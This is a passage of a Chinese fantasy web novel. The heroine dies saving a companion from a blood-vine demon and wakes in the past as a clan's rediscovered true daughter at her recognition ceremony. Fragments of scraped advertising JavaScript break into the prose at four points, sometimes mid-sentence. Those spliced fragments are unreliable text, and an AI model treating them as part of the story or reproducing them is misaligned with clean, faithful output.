后来看了从万宝阁买回来的书才知道,多而不精……难怪她之前尝试学旺财教的法术,老是学不会,搞半天是自己的问题…… 呜呜呜……生活破破烂烂,她大抵还要继续收破烂。 还是跟李延他们一起混更安心,大家水平都差不多嘛,万千不会被完虐。 常潮生默然。 他本就不是人族,但世间修炼方法大抵同根同源,也能指点一二,免得她总是往万宝阁跑,跟那个姓李的人混在一起,偏偏忘了林见微是个根骨不争气的……不过一个引雷诀就学了好久…… “唉,算了,不说这种晦气事,杂灵根有杂灵根的修炼方法,慢慢来呗。”她又满血复活,灯火昏黄也盖不住面上神采飞扬,顾盼生辉,“好好休息,明天见!” 说罢,屋内凭空卷起一阵风,房门啪一声阖上,床边已没了人影。 常潮生揉揉额角,抬手摘下面具。 案几上,两盏花灯还亮着。 正是心神松懈时,门边倏地探进来一个脑袋,“差点忘了我的花灯还没拿!还是觉得兔子灯好看,另一盏就放在你这儿好了。” 林见微勾勾手,兔子花灯飘到门边,她缩回脑袋,又啪一声阖上门。 …… 转眼两个月过去。 冬去春来,珠流璧转,路川城外山川着色,新绿层层叠叠冒出来,一簇又一簇,山野烂漫。虽春寒料峭,但冬衣已显臃肿笨拙,一件件被人收纳好放进柜子深处。 常潮生的腿也好得差不多。 沉疴旧疾,伤及筋骨,虽一时半会儿无法长久站立行走,但已经能摆脱轮椅,撑着拐杖行路。 林见微一高兴,大手一挥到醉花楼包了几桌酒席,出手阔绰,请百家巷的街坊邻居吃饭,好好庆祝了一番。 是夜。 春雨如酥。 宾客已散尽,林见微在席上喝了点酒,此刻面颊酡红,挥手拜别过李延两人,回身再看,醉花楼大厅里只剩下几个店小二忙着收拾碗筷,处理桌上的残羹冷炙。 常潮生坐得端正,一张面具遮去神色,只是静静看着她。 她朝他招手,“走啦,咱们回家!” “好。” 春雨淅淅沥沥,不大也不小,天近黄昏,近处的城墙建筑和远处的青山都氤氲在一片水汽中,雾蒙蒙的,笼着白雾一般,店小二见两人要走,忙送上来一把油纸伞。 大概是真的喝酒上头,林见微下意识伸手接过,不住道谢,等雨伞撑开才猛然想起自己会法术。 “走吧,伞都撑开了。”她索性将错就错。 “好。”常潮生接过伞,他还是不能久站,也不能快走,但已经可以慢慢踱步。 两人并肩踏入雨中。 小雨沙沙,密密麻麻敲在伞面上。 林见微今日穿了一身绿色襦裙,衣料轻柔细腻,裙摆上绣着枝叶图案,一步一移,风动枝摇,越过地上一洼积水时裙裾摇曳,似投石入湖,泛起层层涟漪。 常潮生撑着伞,伞面上雨水渐渐汇成一缕,小溪般从伞沿上往下流,挂起水帘,风乍起,细雨斜飞,洇湿了片片衣角。 为了照顾常潮生的腿脚,林见微刻意放慢了脚步。 昔日三两下就能快速跑到尽头的街道仿佛被拉长了,脚下每一块石砖都变得更清晰,具体,生动,仿佛活了一般,每一条纹理,雨水打落其上,窸窣的声音,静静向前走着。 巷弄深深,仿佛走不到尽头。 终于回到院中。 天色已彻底暗下来,院墙根底下有虫蛰伏,鸣声细弱。 “终于到家了,快进屋吧,腿伤好了,可别又染上风寒。”林见微动作利落,收了伞将人推进屋,赶忙让人坐下。 “明日一早我就得走,家里就剩你一个人,我已经提前嘱咐过王大婶,你有什么不方便的事就去找她帮忙……” “还有厨房,能不进就不进吧,你总是把自己弄伤……” 她说得细致,说着说着反而把自己说得舍不得走了。 李延前段时间捎来消息,距路川城五十里之外有座天寸山,据说有人在那儿看到过炼筋草,也就是能助人重塑破碎经脉的灵草,李延决定动身前去寻找,她便提出路上结伴同行。 “我知道了。” “记住就好。”林见微又塞了些灵石和银钱到他手中,“钱不用省,你就安心等着我带着好消息回来。” “好。”常潮生稳稳接住她递来的东西。 踏雨而行,鞋袜沾湿了,黏腻阴冷的感觉从脚心蔓延向上,身为鲛人,他本应习惯有水沾身的感觉,只是莫名的,心里涌起一阵不安,正想张嘴多说点什么,林见微已站起身推门出去。 “晚安,早点休息!” “晚安。” 房门阖上,只留一室静谧。 炼筋草,虽然能助人重塑破碎经脉,但不算珍奇,也就是说,效用有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 限,比不得那些百年千年难以一遇的天材地宝,想治疗他身上的伤,一株两株远远不够。 大宗门和修仙世家不屑于争抢这草药,甚至在宗门内部都有培育,多是小宗门的修士采摘来存着,以备不时之需。 因而他也不担心林见微这一路的安危。 只是方才片刻心悸……或许只是错觉。 …… 翌日。 昨晚小雨下了一整夜,滴滴答答敲在石板上,林见微睡得好,整个人容光焕发,换了身轻便的装束,与常潮生一同吃过饭便出了门。 先去醉花楼归还油纸伞,随后就直奔城东万宝阁去。 大掌柜要守着店铺,也就只林见微和李延两人结伴出发。 临行前。 “这个储物袋你收着,里面有些符箓、丹药,路上若出了什么意外,兴许有点用。”大掌柜右眼一直跳个不停,实在放心不下,忍不住又多嘱咐了两句。 “掌柜的放心吧。”李延笑笑,只当他杞人忧天,还是收下了这份心意。 天寸山并不算远,路上也没什么恶徒劫匪,他们此行快去快回,就算落后人一步,采不到炼筋草,也不会出什么大问题。 “行行行,快走吧。”大掌柜摆摆手,也笑自己多心,转身进了里间。 “我们走吧。”林见微静静立在檐下,屋外淅淅沥沥的雨,一串一串汇集成珠帘,挂在房檐边外,断断续续落到地上,溅起一地水花。 “好。”李延应下,少年意气,负剑而行。 两人就此一路向北去。 林见微早学会了御剑,紧追在李延身后,不过次日傍晚便赶到了天寸山脚下。 两人商量着,夜晚行事不便,便决定在山脚下找个平整的地方歇息一晚,明日再深入山林中采摘灵草。 这附近没有村落,也无人迹,无处借宿,便只能幕天席地。 月上中天时。 树影摇风,李延和林见微两人同时被惊醒,结束打坐,相互对视一眼,皆屏息不言,听着两道陌生的脚步声和交谈声越来越近…… 两人将身形隐匿在树影之中,静观其变。 不出片刻,在他们来时的路上,便有两道人影冒出来。 “张兄,炼筋草当真在这山上?我看这儿也不像灵气充裕之地……”一道男声从远处传来,让人听不太真切。 另一道声音则清晰许多,不耐烦回复道,“当然,还不不快点,一会儿让别人抢了先!后面还有几个人跟着呢。” “来了来了。” 后面那人忙追上,两道人影快速掠过林见微和李延头顶,直直落入幽深的山林中,藏匿在树影里的两人对视一眼。 林见微压低声音,“李道友,我们也现在进山去?” 李延微微蹙眉,点头同意,“后面还有人来,我们先进去看看。” 反正修士目力极佳,也不担心晚上看不清东西,只是夜里阴气重,深山老林中恐有妖魅山灵,夜间出没,沾上了也颇为棘手。 如今已有人趁着夜色率先进去采药,他们自然不能落后。 “好。” 两人屏息前行,御剑掠过林梢,似风过境,不留痕迹。 山林中几乎没有人迹,灌木丛生,一簇一簇,风起树动,沙沙作响,枝叶招摇,仿佛无数鬼手狰狞着伸向天空,遮天蔽日,包围而来。 13. 永夜城(终) 林见微只觉心底发寒,若不是身边还跟着个人,加上今非昔比,她已不是凡人之躯,她断然不敢大半夜一个人跑到这深山老林中。 明明是追着前面那两人去,但追着追着,前面的人已不知所踪。 “嘎——嘎——” “呀——” 天边倏地惊起一群鸦,四散纷飞,鸣声凌乱,李延停下脚步,落到地上,脚踏上枯叶,吱嘎作响,林见微心里发毛,也跟着落地。 四周漆黑一片,稀疏的月光从枝叶间漏下来,投到地上映出点点小光斑,惨白惨白的,林见微放轻呼吸,忽而有风扑面而来,淡淡的血腥气充斥鼻尖。 她身体一僵,忙看向李延。 “沙沙——” 窸窣声铺天盖地席卷而来。 “不好!是血藤妖!”李延面色一寒,飞身跃到树上。 脚下有藤蔓密密麻麻缠上来,林见微一剑斩断,快速落到树梢头,还没来得及松口气,却早已置身藤妖设下的囹圄中。 李延也没好到哪儿去。 “你没事吧!” “没事!” 挥剑根本斩不完汹涌扑来的藤蔓,林见微单手掐诀,手法有些生疏,指尖猛然跃起火光,噗哧一声流动向剑身,剑之所指,烈火燎烧,稍稍划出一片空地。 李延抽身不得,只能一边用剑抵御血藤妖的攻击一边向林见微靠拢,暂得庇佑。 他本不精于剑术,战斗力自然高不到哪儿去,偏偏又遇上这难缠的妖物! “先前那两人恐怕已遭遇不测!” “我的须快些抽身!” 一个分神,李延手臂被藤条抽伤,不过片刻便感觉伤口处肌肉绵软无力,还在向全身蔓延,他瞬间反应过来,心刹那间沉入谷底,“当心藤上倒刺!有毒!” “知道了!”林见微心中骂娘,刚清出的空隙不一会儿便又被藤条侵占,“我的往回走!摆脱它们!” 天地之间黑沉沉的一片,只听得枝叶摩擦声,在林中看不见的角落里仿佛蛰伏了无数藤蔓,这妖物简直无处不在,构建出天罗地网! 李延快速掏出符箓,不要钱似的向逼近而来藤妖砸去,打得它们无法近身,林见微手中的剑火光闪烁,转向另一边快速开出路来,拉着李延节节后撤。 “你感觉怎么样?” “没力气了……”李延唇色发白,手脚脱力,全靠体内仅存不多的灵力撑着。 林见微咬紧牙关,心一横继续开路,纯蓝色焰火附在剑身上,于无边夜色中跳动闪烁,一剑挥出,火势如长龙! 但战况僵持,灵力难以维系,她好几次差点被藤蔓打伤,所幸都险险避开。 “啊——” “小心!有妖藤!别过来!” “山上有血藤妖!” 两人听到前方有人声,惊恐哀叫,想必是其他趁夜色上山欲采炼筋草的修士,如今也跟他们一样被妖藤围困。 林见微心头一松,有人来了就好,说明他们就快要跑出这妖物的狩猎范围了! “李道友你撑住!” “马上就要出去了!” “没事,我服用过丹药,好多了。”李延抚着胸口,呼吸急促,完全由林见微拽着走。 储物袋里的符箓越用越少,连刻在阵盘上的攻击性符阵都被他统统扔了出去,也只能将藤妖牵暂时牵制住,不一会儿便紧追而来。 “不行!符箓用完了!后面的妖藤快追上来了!” “林道友,你自己走,别管我!” “不行!”林见微毫不犹豫拒绝,“再坚持一下……马上就能出去了!” 话音落,不远处猛然炸起一阵亮光,法诀掐成雷球,噼里啪啦朝妖藤砸去,两人眼前一阵炫目,还没等看清那边的情况,便听到声声凄厉的惨叫,“啊啊!!不要!” 紧接着一切归于寂静。 光亮和哀叫都融化在寂寂长夜里,只有浓烈的血腥气扑鼻而来,引人战栗。 “走!趁现在妖藤在蚕食血肉!”林见微握剑的手微微发抖,体内灵力几乎快要被榨干,若非妖藤天生怕火,她根本撑不到这儿。 忍住反胃的冲动,林见微拽着李延飞快踏过一地血污,妖藤却不打算放过他们,窸窸窣窣卷过来,如腾涌的浪,顷刻间遮蔽了天上漏下的月光。 “林道友!你自己走吧!储物袋中还有一些防御型阵法,你出去找人来救……” “闭嘴,省省力气!”林见微火气噌一下冒出来。 以这妖物的实力,储物袋的那些东西根本不够看,加上这一片山头附近人烟稀少,真等她出去搬来救兵,尸体都成土里的养料了! “炼筋草的消息到底是谁放出来的?晦气!” 手心里剑柄灼热烫手,林见微 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 沉下脸色,手一松,长剑横于半空,悬在身前,双手飞快结印,十指翻飞出残影,刹那间狂风四起,席卷过林梢,夜空上雷云汇集,电光闪闪,月亮看彻底不见。 “九天玄刹,化为神雷,煌煌天威,听我号令——” 铁剑直上,穿透云霄,闪电轰隆轰隆劈下,剑锋所指处被炸出一个个焦黑的深坑,林见微体内的灵力被彻底榨干,身体紧绷如将要断掉的弓弦,片刻不敢放松,飞快向密林边缘跑。 李延被天上的雷云惊得说不出话来,心道不愧是大宗门出来的人,本事还真不小,但来不及多想,他赶忙跟上林见微,服用过丹药后体力恢复了些,竟反超过林见微,反手拉着她往外跑。 不远处已经隐隐约约能看见两道白色人影站在安全范围内,正是之前那名死亡修士的朋友。 “道友!快点!”两名陌生修士焦急呼喊,知道这妖藤的厉害,不敢贸然行动。 林见微跑到腿软,生路已近在眼前! “轰隆——” “轰轰轰——” 天上闪电如雨落下,血藤妖伤得不轻,这生出灵智的妖物气疯了,锁定罪魁祸首,猛然朝着两人反扑过去! 细密的藤蔓蠕动向前,快速缠上林见微的脚腕,猛然用力将人向后拽。 “嘭——” “走!别管我!” 跌倒在地前她猛地推了李延一把,直把人重重推到了那两名修士面前,下一刻,整个人脱力,被快速拖行进灌丛中,漫天藤蔓倾轧过来—— “林道友!”李延惊魂未定,下意识想去拉住林见微,还好身后两名修士眼疾手快将他拽住,才免于他白白赴死。 林见微撑着最后一口气大喊道,“麻烦照顾好我哥!” “唔嗯——” 一阵天旋地转,她感觉骨头都快散架了,藤蔓上的毒刺扎进身体,剧烈的刺痛如潮水涌来,恍惚中头脑昏沉,也不知道李延听清了她说的话没有…… “林道友!”李延颓然跪坐在地,肩塌下来,“我一定照顾好林兄……” 嗯,好像是听清了。 她也能放心。 血气蔓延,意识消散前最后一刻林见微感觉自己隐约听到了皮肉破裂的噗嗤声。 该死啊! 明明一切都在变好了,居然会倒霉成这样…… 明明就只差一步…… 14. 浮生岛上 “唉,姑娘哟,看看这都什么时辰了,还不快起来!” 耳边响起人声,那人嘴里絮絮叨叨念着什么,林见微脑子发懵,猛然睁开眼,层层叠叠的鲛纱制成床帐,薄如蝉翼,从头顶上垂下来,风一吹,微微飘荡。 身下的被褥软和得不像话,她整个人像是陷在云里。 “小姐,快起来啊,你看看你这衣裳啊,妆面啊,都没弄好……一会儿认亲大典该开始了……” 熟悉的声音又传进耳中,林见微终于找回些神智。 那老嬷嬷却已直接撩开了床帐,掀起被子,手忙脚乱将她从床上拉起来,一拍手,屋外一群婢子排成列,各个手里端着托盘,颔首垂目,悄无声息进入屋中,准备伺候她洗漱穿衣。 林见微头还晕着,只能任人摆弄,一大堆乱七八糟且莫名其妙的信息仿佛被看不见的手强行压缩成一团,然后再被塞进她的脑子里。 她好像,又穿了? 也不对,她好像穿回了这具身体的过去。 “嘶——”一思考,头又痛起来。 “轻点,别毛手毛脚的!”那老嬷嬷赶忙呵斥替林见微梳头的婢子,被训斥的人低着头,不发一言,默默退下了,显然不太服气。 “没事。”林见微哑着嗓子。 “姑娘也不必紧张,您流落在外这么多年,如今好不容易回来,家主疼你还来不及,且放宽心,这大好的日子,该多笑一笑。” 老嬷嬷一边宽慰,一边将早早备好的朱钗插到少女发髻上。 林见微闻言勉强勾起唇角,实在是笑不出来。 铜镜里的少女面色蜡黄,头发也毛躁,脸颊上没什么肉,眼眶深陷进眼窝里,嘴唇微微有些干燥起皮,尽管如此,仍能看出底子不错,好好收拾一番,定然姿容动人。 她深呼吸一口气,闭了闭眼。 勉强理清了事情原委。 她貌似是穿书了。 原书是真假千金的俗套故事。 真千金林见微自幼流落在外,回到家族以后仗着家主父亲的宠爱, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 嚣张跋扈,欺压弱小,还屡次挑衅陷害假千金女主林扶摇,林扶摇处处忍让,保持善良,落落大方地应对,多次化险为夷,还赢得众人喜爱。 最后的结局,自然是女主林扶摇得偿所愿,收获爱情,得到父母背后两大家族的助力,与男主和和美美在一起。 而恶女林见微的所作所为一次次让众人失望,消磨掉了族中亲人父母和哥哥对她的愧疚,在多次被拆穿真面目后,被书中爱慕林扶摇的大反派常潮生废去一身修为,扔到永夜城自生自灭。 嗯,对,就是她刚到这个破世界的时候的遭遇。 破案了,搞半天原来原主是真得罪了人。 “来,小姐,抬一下头。”老嬷嬷指挥着身旁的婢女为镜前的少女上妆,抹口脂,添腮红,描眉画眼,细致无比。 渐渐地,镜中人影已不复先前那气色差强人意的样子。 林见微回过神来,还是没想明白自己明明死都死了,怎么还会穿回到过去,一下子从故事的结尾穿到了故事的开头? 15. 惊鸿一眼 那旺财怎么办?她难道还要再去一趟永夜城?可时间也不对啊!茫茫人海,她如今要去哪儿找他? “好了,绿竹,快快去将礼服拿过来。”老嬷嬷又吩咐道,伸手扶正在走神的林见微站起身。 刚一站起来,林见微面上神色陡然一变—— 她修为没了?! 之前辛辛苦苦修炼,全白干! 难道又要重头来过? 也对,原主现在还是一个没有修为的普通人,甚至连灵根资质都没有测。 “好了,小姐这么一打扮,气色倒是好了不少!”老嬷嬷满意地围着林见微转了两圈,又替她整理好曳地的裙摆。 林见微无言。 镜中的少女华服加身,从眉眼到嘴唇,无一不精致,但再精致的妆也盖不住她本就消瘦无神的气色,脸颊上没多少肉,粗糙的皮肤被强行扑上厚厚的粉,反盖住了肌肤原本的颜色。 华丽得像个死人。 妖艳但糜.烂。 “嬷嬷动作快些,三小姐该出去了。”门口有人前来催促。 “来了。”老嬷嬷应声,将托盘上的华美金冠稳稳戴在林见微头上,珠翠招摇,流光溢彩,简直美不胜收。 林见微心里装着别的事,倒没什么感觉,只觉得脖子上一重,又没有灵力傍身,若不是强撑着,早坚持不住低下头去了。 “走吧,过了今日,您就是玉山林氏堂堂正正的嫡系三小姐,再没有人能轻贱您。” “好。” 林见微笑笑,承下老嬷嬷的好意,心里却发苦。 穿在身上的礼服,华丽是华丽,但并不算合身,而且这满屋的人,除了那老嬷嬷对她稍稍敬重些,旁的人似乎都没将她这个新找回来的落难小姐放在眼里。 她仍旧没有原主的记忆,只结合头脑中那些莫名而来的信息,加上原主后来凄惨的下场,也不对什么所谓的父母亲情抱有期望。 一步踏出门槛。 眼前气象万千。 林见微收敛思绪,集中精力应付当前的场景。 没有原主的记忆,也没办法把知道的人名和具体的人脸相貌对应上,只期望一会儿不要露出马脚。 浮生一岛,孤悬海外,但岛上地域辽阔,灵气充裕,是修炼悟道的绝佳风水宝地,钟天地之灵秀,聚万物之精华,让九州大陆上无数修士心驰神往。 玉山林氏和遥泽王氏便是浮生岛最大的两个仙家世族,势力盘根错节,又深不可测,连大陆上的仙门世家都要敬重几分。 今日,玉山林氏找回了流落在外多年的嫡系大小姐,举办认亲典礼,自然排场十足,宾客满座。 屋外。 白鹤衔云来,仙乐声声,云雾缥缈。 神辇已侯在院中,通体剔透,天光一照却有千丝万缕的流光,华丽璀璨,鲛纱制成帐,薄如蝉翼,细细一看,上面居然还织有繁复华丽的图案,仙鹤祥云,不似人间。 轿辇底部嵌着无数圆润晶莹的珠子,林见微看不出门道,却也知道造价不菲,不由暗暗咂舌,身旁的嬷嬷看她走神,忙引着她继续向前。 踏云而上,落座其间。 珠翠轻摇,步履款款。 一声鹤唳,神辇随着数只仙鹤的振翅乘风而起,林见微稳住身形,还是没耐住好奇心,隔着飘荡招摇的薄纱帐向外张望。 目之所及,青白交织,神辇掠过山巅云雾,一直到了城中,再向下看时,是人头攒动。 长街上行人分成两队,纷纷避让出最中心的主干道,仰起头好奇地瞧向上她一眼,像是怕冒犯仙人,不一会儿又赶忙垂下头连连叩拜。 神辇前后跟着修士,前开路,后护驾,御风而行,好不威风气派,在繁华城池中转了一圈,才终于折返,奔向那巍峨耸立,常年被云雾遮挡难以窥见真容的幻剑阁,也就是玉山林氏所栖之地。 金童相迎,笙箫悦耳。 幻剑阁内建筑鳞次栉比,更是恢弘大气,不拘一格,青石为道白玉为阶,金堆玉砌,明珠如许。 直把林见微看得眼花缭乱。 终于,神辇停下。 天边曙光初霁,金色光辉穿透层层云雾,普照于金碧辉煌的殿宇之上,雕梁画栋,巍峨耸直,林见微立于大殿之外,玄青道笔直平坦,穿过玄青门,直通幻剑阁殿前。 道旁是无数仙家,灵气飘飘,或腾云驾雾,或御剑而来,修为稍低的就站在人群里,衣袂飞扬,目光却落到她身上。 林见微抬眸直视前方。 目光越过恢弘朱门,穿过长长阔道,爬上白玉长阶,一眼望向那至高处,至中心处,一群人衣着雍容富丽,也俯瞰着她。 仙乐声起,她款款向前。 一袭曳地长裙,流光溢彩,压在头上的金冠仿佛千斤重,一步一步,珠翠轻摇,叮当婉转。 无数张脸从她面前恍过,或清冷,或美艳,或孤绝,或不屑,神态各异,却无一不精致美丽,美到一眼便能看出与凡人不同。 忽然。 她目光一滞,掠过重重人群,繁花不入眼,却直直望进一双熟悉的眼眸中。 是旺财? 不,好像不是。 那少年一张脸堪称明艳,却不媚俗,艳而不妖,天庭饱满,五官深邃,如瀑长发被随意束起,挽成马尾,额前随意垂落几缕青丝,更衬托他肌肤胜雪,仙姿玉容。 美得雌雄莫辨。 可还是那一双眼睛,墨色瞳孔黑得仿佛一洞无底深渊,只望一眼似乎就能攫取人的神魂,跟旺财太像了,简直一模一样。 林见微心神微颤,顶住众人的目光,连忙回过神来,目不斜视,继续向前。 玉山林氏的家主林续,也就是这具身体的亲生父亲,长身玉立,站在高高的白玉阶上,林见微仰头直视,即使没有原主的记忆,也一眼将人认了出来。 不仅如此,她还认出了站在林续身边的一行人,其妻子王氏和女主林扶摇,以及林续和王氏王添羽的长子,这具身体的亲哥哥,林戈。 一家子的高颜值。 “小女流落在外多年……” 林续发言,低沉浑厚的嗓音挟裹着强悍灵力层层向外铺展渗透,清晰地传进众人耳中,林 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 见微念着之前那惊鸿一眼,没耐心听,目光快速在人群中穿梭,却再找不见人影。 “当年错抱一事,害得小女吃了诸多苦头,本君定然会将真相查个一清二楚,替她讨回公道!” 此言既出,底下宾客众人顿时纷纷小声议论起来。 是啊,玉山林氏和遥泽王氏都不是什么小门小户,林续和王添羽结成夫妻,浮生岛上两大世家强强联合,当年王氏回遥泽娘家生产,怎么可能轻易将孩子弄丢? 林见微耳畔不乏众人议论,她听了个七七八八,回过神来了,也觉事情蹊跷无比,但亦不知内情,匆忙一眼中瞥上高台,恰见王氏神情肃然,眸底暗光一闪而逝。 她疑心是自己眼花了。 林续缓缓步下玉石阶梯,周身灵力流转,似云雾缭绕,修为莫测,一身玄色镶金礼服,威严霸气,却丝毫不会盖过他俊逸出尘的外表,直停在她跟前。 二人对视。 林见微也抬眼打量他,不得不说,这父女二人几乎是一个模子里刻出来的,从眉眼到鼻梁再到嘴唇,长相肖似,只不过父亲气质偏英挺些,女儿则更柔美。 难怪原主刚到幻剑阁不久,便能被有心人一眼认出,心生怀疑,一番查证,轻易便确认了血脉,认祖归宗。 “这么些年,你受苦了。”林续神色柔和下来,似冰消雪融,拉起林见微的手温声安慰。 林见微身体一僵,却并未在那冰消雪融的慈父面上看到他眼底的笑,只有皮笑肉不笑,便垂下眸应声,“嗯,知道了。” “囡囡之前叫贱微,折辱过你的罗家人为父一个也没有放过,日后他们不会再出来碍了你的眼。” “多谢父亲。” 林见微依旧不卑不亢。 书中寥寥几笔,原主在被找回来之前,辗转于贫民之中,朝不保夕,流落到富贵世家做婢子,偏偏生了一副好容色,被主家的小姐磋磨,任意欺凌,还取了“贱微”这么一个羞辱意味十足的名字。 卑贱又卑微。 当真是赤.裸.裸的恶趣味。 而这,也成了后来原主被玉山林氏众天之骄子耻笑、排挤的“罪证”,成了洗不去的人生污点。 如今,之所以能到浮生岛上,还是因为前段时间玉山幻剑阁开放,十年一次,对外招收九州大陆上有天赋的新人弟子,恰好原主跟着主家上岛,入了这玉山。 “既回本家,前尘如烟,也该有个新名字。既是新生,不如取‘笙’字,日后便叫林笙笙,如何?” 林续展开她的手心,以指做笔,灵力流转,写下一个工工整整的“笙”字,林见微抿唇,眉头微蹙,笙字,歌舞升平,柔美艳绝,她不喜欢。 “落白,你说什么呢。”王氏轻唤林续的表字,也缓缓从白玉石阶上下来,“你莫不是忘了,笙笙是扶摇的小字,哪能给……” “母亲说得对。”林见微忙不迭接话,“见微,见微知著,洞若观火,恰好我本不是个聪明的人,就用这个名字讨个好彩头吧。” “见微知著,好,是个好名字。”林续点点头,接下她递来的台阶。 16. 解围 仙乐声又起。 林续渊渟岳峙,背负金光,磅礴灵力自周身溢出,刹那间风云变幻,天地震荡,大殿之上由灵力汇集而成的祥云缭绕不散,他单手掐诀唤出一卷竹简。 金色字符自竹简上飞出,飘至半空,汇集成河,流动跳跃。 又一抬手,手心凭空多出一支笔。 提笔落字,将林见微的名字写入族谱中。 算是真正的认祖归宗。 此番事了,众仙人随林家人一同进入幻剑阁大殿中。 宴会开始,宾客落座,林见微也跟着一步步踏上台阶,与王添羽一左一右坐到林续身边,林扶摇和林戈反而坐得更远些。 殿宇之中开阔恢弘,十二根白玉柱撑起房梁,雕龙描凤,栩栩如生,主位头顶上盘着玉龙,衔珠腾云,气势睥睨。 她这时才终于有机会打量起这书中的女主,生得一双偏圆的杏眼,如小鹿一般清纯可人,眼波流转间无端让人生出怜爱之意。 可仔细一看,却真真不是什么好亲近的主,眸光轻移,仿佛万事不放入眼底。 自幼携仙骨而生,五岁开灵,无师自通,天赋足以睥睨众人,好一个玉山仙姝,扶摇仙子。 “妹妹这般看着我做什么?” “没什么,只是觉得你今日的妆面很好看。”林见微淡淡收回目光,一松懈下来,就又想起之前在人群中瞥见的那一双眼睛。 会是旺财吗?难道是旺财的什么兄弟姐妹? “当年抱错一事还未查清,扶摇在我膝下多年,早是林家的人,如今你回来了,你们姐妹二人当和谐相处,相互扶持,莫让他人看了笑话去。”王添羽语调淡淡,声音却不小,眉宇之间有厉色,端起茶杯,目光却一瞬不瞬落在林见微脸上。 林见微一怔,饶是再迟钝也觉察出王氏对自己的不喜,这话不仅仅是说给她听,也是说给这大殿中的宾客听,就算找回了亲女儿,林氏也不会放弃林扶摇。 但她无心深究,淡淡应声,“我知道。” “林戈是你兄长,日后你们兄妹之间多走动走动,囡囡还未开灵,虽然根骨不佳,但今后也要入幻剑阁修行,你兄长和阿姐都会耐心指点你,若有不会的,还可来找为父。” “多谢父亲。”林见微颔首应下。 想来原主在被找回林家的第一时间就已经测过灵根资质,难得林续还肯认她这个杂灵根的废柴女儿。 “你们听到了吗?”林续目光扫过坐在两旁的林戈和林扶摇。 “放心吧爹,妹妹以前受了那么多苦,我一定会照顾好她。”林戈连忙应下,转头朝林见微笑笑,眼尾向上挑,掩不住好奇打量的目光。 之前他在浮生岛外游历,也没做什么正经事,倒是交了不少朋友,乍一收到消息,说家里找回了真正的妹妹,这才带着一大群狐朋狗友急匆匆回来,紧赶慢赶,赶上了这认亲典礼。 早听说林见微长得跟父亲很像,这一凑近了看,还真是!若是稍稍变一下妆容,单看脸,简直让人分辨不出来! “扶摇知道了,妹妹能找回来是件喜事,我定然不会慢待她。”林扶摇也颔首应下,举手投足不失端庄风雅,让人挑不出错漏,还顺带送上了早准备好的见面礼。 这一开头,接二连三的礼品便如潮水涌来,站在一旁的礼官念起长长的礼单,半天没空休息。 林续送千年灵剑,王氏送鲛纱锦帛,林戈跟他那些狐朋狗友的兄弟们为表庆祝,也掏出了家底,林、王两大氏族,各种沾亲带故的嫡系旁支,无数拥趸和家臣,还有出席典礼的人,多多少少都看在林家和王家的面子上送了东西,是表忠心也为讨好,再不济也想趁此机会露个脸,刷一波存在感。 林见微头顶金冠,差点被压得抬不起头,从一开始的兴致勃勃,暗自计算自己这一次能发多大的财,到后来兴致缺缺,只想快点结束开溜。 但她低估了仙门世家的排场。 收完礼,林家人便开始了“交际”,林续一一将她介绍给几个心腹家臣和一些关系亲近的林氏旁支。 林见微脸都笑僵了,饶是再长袖善舞,也扛不住精力不济,林戈见她脸色发白,眼看着宴会过半,留与不留都无所谓了,忙带着她向林续告辞,跟狐朋狗友一同从人群中抽身而出。 几人到了后院,寻个空闲的厢房换下沉重的华服,顿觉一身轻松。 “多谢。”林见微缓过神来,感觉压在头上的大山不见了,差点没喜极而泣。 “我可是你兄长,什么谢不谢的。”林戈笑着捏了捏她的脸,不仅没捏到什么肉,还碰了一手的厚厚脂粉,脱口而出,“你这脸怎么刷得比城墙都厚。” 林见微:“……” “噗嗤——”站在一旁的人闻言实在憋不住笑出声。 侍女们连忙整理好林见微换下的华服、朱钗,端着托盘鱼贯而出,或在站在门口候着,只留下林家兄妹俩和林戈的朋友在屋中。 “兄长,今日我实在是太累……”林见微正想找借口开溜。 林戈会意,“也是,小妹尚未开灵,还是凡人之躯,今日这一遭是有些操劳……正好,我们送送你,赶快回屋中歇息去。” 说着,他手腕一翻,摊开手心,将一粒丹药递到林见微面前。 “好。” 林见微忙不迭应下,接过丹药便吞下去,只想着快点回落云院中躺着。 玉山林氏,名扬四海,林家人常常走动的幻剑阁自然建得恢弘又精致。 服用过丹药后,林见微精力恢复了不少,跟着一行人七拐八拐,本来还想着一边应付聊天,一边记下路线,谁知自己把自己给绕进去了。 大小园子数不胜数,亭台楼阁高低错落,有的地方还凿出了一片曲折的池水,假山松柏,高低起伏,又有大大小小的怪石矗立其中。 林戈看她一脸迷茫,笑着打趣,“小妹初来幻剑阁,怕是连路都认不得。” “是有一点……” “无妨,日后得空了多走动走动,身边带两个侍女。”林戈一身蓝衣,身姿挺拔,眉眼间活脱脱富贵公子做派,抬手指着不同的方位,给林见微介绍起来。 “那边是清云院,地阁修士日常起居的地方,平日你也用不着去那里。” “对面是浮云院,住了天阁弟子,你无事倒可以多去走动走动,交些朋友,我与你二姐有好些相熟的人也在里面。” “长老们则各自挑自己喜欢的地方,开辟洞府,布下结界。” 林见微暗暗记下,幻剑阁原来还分天阁和地阁,也是,上学的时候还分普通班和培优班呢,真是到哪儿都逃不开应试教育啊。 “一直往里走,就是你住的落云院,附近都是林家人住的地方,若是遇到什么棘手的事尽可以找人帮忙。” “我记住了。”林见微连连点头。 书里可写了,她住的落云院与林扶摇住的明珠院毗邻,差不多一墙之隔,原主可没少自不量力去找茬,白白讨人嫌。 其实也能理解,原主在人间辗转流离,受尽白眼和欺辱,见惯了拜高踩低,人性的虚伪和市侩,自己耳濡目染,也学了个十成十。 一朝升天,身边却实实在在没几个真正在乎她,愿意耐心教导她的人,得知自己所受苦难皆因另一人而起,自然心中不平,怨怼横生。 林扶摇光芒太盛,名声在外,玉山仙姝,扶摇仙子,人人求而不得见,仰慕瞻望,原主本就因天赋泯然众人而不讨喜,又偏偏要张扬,要争一口气,自以为聪明却做尽让人耻笑之事。 她也难评判个对错出来。 